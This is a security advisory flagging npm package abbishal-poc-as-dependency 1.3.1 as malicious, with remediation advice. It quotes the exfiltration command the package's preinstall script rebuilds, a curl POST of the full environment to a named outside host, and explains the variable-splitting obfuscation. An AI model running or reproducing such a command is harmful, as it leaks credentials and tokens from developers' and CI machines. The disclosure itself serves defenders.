abbishal-poc-as-dependency

Details

**Severity:** Critical

**Affected versions:** `= 1.3.1`

## Source: amazon-inspector (bc0e1fb6fb8f481baf7c16b593aa342b3b63165f9e97e395ff49c4bed18dfa53)
package.json declares a preinstall lifecycle script `sh./test.sh`. test.sh assembles a `curl -d "$(env)" https://abbishal.com/sh/installation-success` command by splitting the tokens `curl`, `env`, and `-d` across single-character shell variables (`i=c`, `s=u`, `a=rl`, `t=en`) and reconstructing them via variable concatenation and command substitution. On `npm install` this POSTs the entire output of `env` — the installer shell/CI's full process environment, including any exported secrets such as CI tokens, cloud credentials (AWS_*, GCP, Azure), and npm publish tokens — to a hardcoded third-party host. The README asserts that the package performs no network requests, no filesystem access, no data collection, and has no preinstall/postinstall lifecycle scripts, directly contradicting the shipped manifest and script. The variable-fragment obfuscation and the cover-story README indicate deliberate evasion rather than a legitimate placeholder or canary.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/1f0efa038b4952b6f39151f24f216b7f464d67c4/osv/malicious/npm/abbishal-poc-as-dependency/MAL-2026-17653.json))

**References:**
- https://github.com/ossf/malicious-packages/blob/1f0efa038b4952b6f39151f24f216b7f464d67c4/osv/malicious/npm/abbishal-poc-as-dependency/MAL-2026-17653.json
- https://www.npmjs.com/package/abbishal-poc-as-dependency/v/1.3.0
- https://www.npmjs.com/package/abbishal-poc-as-dependency/v/1.3.1
- https://github.com/advisories/GHSA-m26x-98mg-qxv9

Compromised versions (1)

• = 1.3.1

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.